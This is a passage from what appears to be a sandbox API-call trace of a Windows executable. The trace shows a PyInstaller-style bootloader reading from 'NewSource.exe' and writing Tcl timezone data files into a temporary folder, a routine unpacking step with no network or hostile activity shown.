(lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\HST" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\hst"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.915] GetFileType (hFile=0x10c) returned 0x1 [0042.915] htonl (hostlong=0x6a000000) returned 0x6a [0042.915] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.915] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x6a, lpOverlapped=0x0) returned 1 [0042.916] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.916] CloseHandle (hObject=0x10c) returned 1 [0042.916] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.916] htonl (hostlong=0x30000000) returned 0x30 [0042.916] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.916] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.916] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.916] GetFileType (hFile=0x10c) returned 0x1 [0042.916] htonl (hostlong=0x53d45c00) returned 0x5cd453 [0042.916] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x618453, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.916] htonl (hostlong=0x87000000) returned 0x87 [0042.916] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x87) returned 0x55cfe0 [0042.916] htonl (hostlong=0x87000000) returned 0x87 [0042.916] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.916] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.916] htonl (hostlong=0xae000000) returned 0xae [0042.916] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xae) returned 0x550600 [0042.916] htonl (hostlong=0x87000000) returned 0x87 [0042.916] htonl (hostlong=0xae000000) returned 0xae [0042.916] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.916] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.916] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.916] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.916] CloseHandle (hObject=0x10c) returned 1 [0042.917] GetLastError () returned 0x0 [0042.917] SetLastError (dwErrCode=0x0) [0042.917] GetLastError () returned 0x0 [0042.917] SetLastError (dwErrCode=0x0) [0042.917] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.917] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.917] GetFileType (hFile=0x10c) returned 0x1 [0042.917] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.917] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.917] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.917] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.917] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.917] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.917] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.917] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.917] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.917] CloseHandle (hObject=0x10c) returned 1 [0042.917] GetLastError () returned 0x0 [0042.917] SetLastError (dwErrCode=0x0) [0042.917] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.917] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.917] GetFileType (hFile=0x10c) returned 0x1 [0042.917] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.917] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.917] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.918] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.918] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.918] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.918] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.918] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.918] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.918] CloseHandle (hObject=0x10c) returned 1 [0042.918] GetLastError () returned 0x0 [0042.918] SetLastError (dwErrCode=0x0) [0042.918] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Hongkong") returned 65 [0042.918] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Hongkong" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\hongkong"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.918] GetLastError () returned 0x2 [0042.918] SetLastError (dwErrCode=0x2) [0042.918] GetLastError () returned 0x2 [0042.918] SetLastError (dwErrCode=0x2) [0042.918] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Hongkong", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Hongkong", lpFilePart=0x0) returned 0x40 [0042.918] GetLastError () returned 0x2 [0042.918] SetLastError (dwErrCode=0x2) [0042.918] GetLastError () returned 0x2 [0042.918] SetLastError (dwErrCode=0x2) [0042.918] GetLastError () returned 0x2 [0042.918] SetLastError (dwErrCode=0x2) [0042.918] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Hongkong") returned 65 [0042.918] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.918] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Hongkong" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\hongkong"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.919] GetFileType (hFile=0x10c) returned 0x1 [0042.919] htonl (hostlong=0xae000000) returned 0xae [0042.919] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.925] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xae, lpOverlapped=0x0) returned 1 [0042.926] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.926] CloseHandle (hObject=0x10c) returned 1 [0042.926] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.926] htonl (hostlong=0x30000000) returned 0x30 [0042.926] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.926] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.926] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.926] GetFileType (hFile=0x10c) returned 0x1 [0042.926] htonl (hostlong=0xdad45c00) returned 0x5cd4da [0042.926] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6184da, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.927] htonl (hostlong=0x8a000000) returned 0x8a [0042.927] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0042.927] htonl (hostlong=0x8a000000) returned 0x8a [0042.927] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.927] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.927] htonl (hostlong=0xb9000000) returned 0xb9 [0042.927] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb9) returned 0x55d8d8 [0042.927] htonl (hostlong=0x8a000000) returned 0x8a [0042.927] htonl (hostlong=0xb9000000) returned 0xb9 [0042.927] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.927] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.927] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.927] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.927] CloseHandle (hObject=0x10c) returned 1 [0042.927] GetLastError () returned 0x0 [0042.927] SetLastError (dwErrCode=0x0) [0042.927] GetLastError () returned 0x0 [0042.927] SetLastError (dwErrCode=0x0) [0042.927] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.927] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.927] GetFileType (hFile=0x10c) returned 0x1 [0042.927] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.927] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.927] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.927] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.927] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.927] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.927] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.927] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.928] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.928] CloseHandle (hObject=0x10c) returned 1 [0042.928] GetLastError () returned 0x0 [0042.928] SetLastError (dwErrCode=0x0) [0042.928] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.928] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.928] GetFileType (hFile=0x10c) returned 0x1 [0042.928] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.928] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.928] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.928] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.928] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.928] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.928] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.928] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.928] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.928] CloseHandle (hObject=0x10c) returned 1 [0042.928] GetLastError () returned 0x0 [0042.928] SetLastError (dwErrCode=0x0) [0042.928] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Iceland") returned 64 [0042.928] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Iceland" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\iceland"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.928] GetLastError () returned 0x2 [0042.928] SetLastError (dwErrCode=0x2) [0042.929] GetLastError () returned 0x2 [0042.929] SetLastError (dwErrCode=0x2) [0042.929] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Iceland", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Iceland", lpFilePart=0x0) returned 0x3f [0042.929] GetLastError () returned 0x2 [0042.929] SetLastError (dwErrCode=0x2) [0042.929] GetLastError () returned 0x2 [0042.929] SetLastError (dwErrCode=0x2) [0042.929] GetLastError () returned 0x2 [0042.929] SetLastError (dwErrCode=0x2) [0042.929] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Iceland") returned 64 [0042.929] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.929] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Iceland" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\iceland"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.930] GetFileType (hFile=0x10c) returned 0x1 [0042.930] htonl (hostlong=0xb9000000) returned 0xb9 [0042.930] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.930] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb9, lpOverlapped=0x0) returned 1 [0042.931] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.931] CloseHandle (hObject=0x10c) returned 1 [0042.931] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d8d8 | out: hHeap=0x530000) returned 1 [0042.931] htonl (hostlong=0x30000000) returned 0x30 [0042.931] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.931] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.931] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.931] GetFileType (hFile=0x10c) returned 0x1 [0042.931] htonl (hostlong=0x64d55c00) returned 0x5cd564 [0042.931] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x618564, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.931] htonl (hostlong=0xa3000000) returned 0xa3 [0042.931] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa3) returned 0x544c50 [0042.931] htonl (hostlong=0xa3000000) returned 0xa3 [0042.931] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.931] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.931] htonl (hostlong=0xd2000000) returned 0xd2 [0042.931] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd2) returned 0x550600 [0042.931] htonl (hostlong=0xa3000000) returned 0xa3 [0042.931] htonl (hostlong=0xd2000000) returned 0xd2 [0042.931] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.931] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.931] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544c50 | out: hHeap=0x530000) returned 1 [0042.931] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.931] CloseHandle (hObject=0x10c) returned 1 [0042.932] GetLastError () returned 0x0 [0042.932] SetLastError (dwErrCode=0x0) [0042.932] GetLastError () returned 0x0 [0042.932] SetLastError (dwErrCode=0x0) [0042.932] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.932] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.932] GetFileType (hFile=0x10c) returned 0x1 [0042.932] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.932] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.932] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.932] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.932] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.932] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.932] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.932] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.932] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.932] CloseHandle (hObject=0x10c) returned 1 [0042.932] GetLastError () returned 0x0 [0042.932] SetLastError (dwErrCode=0x0) [0042.932] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: 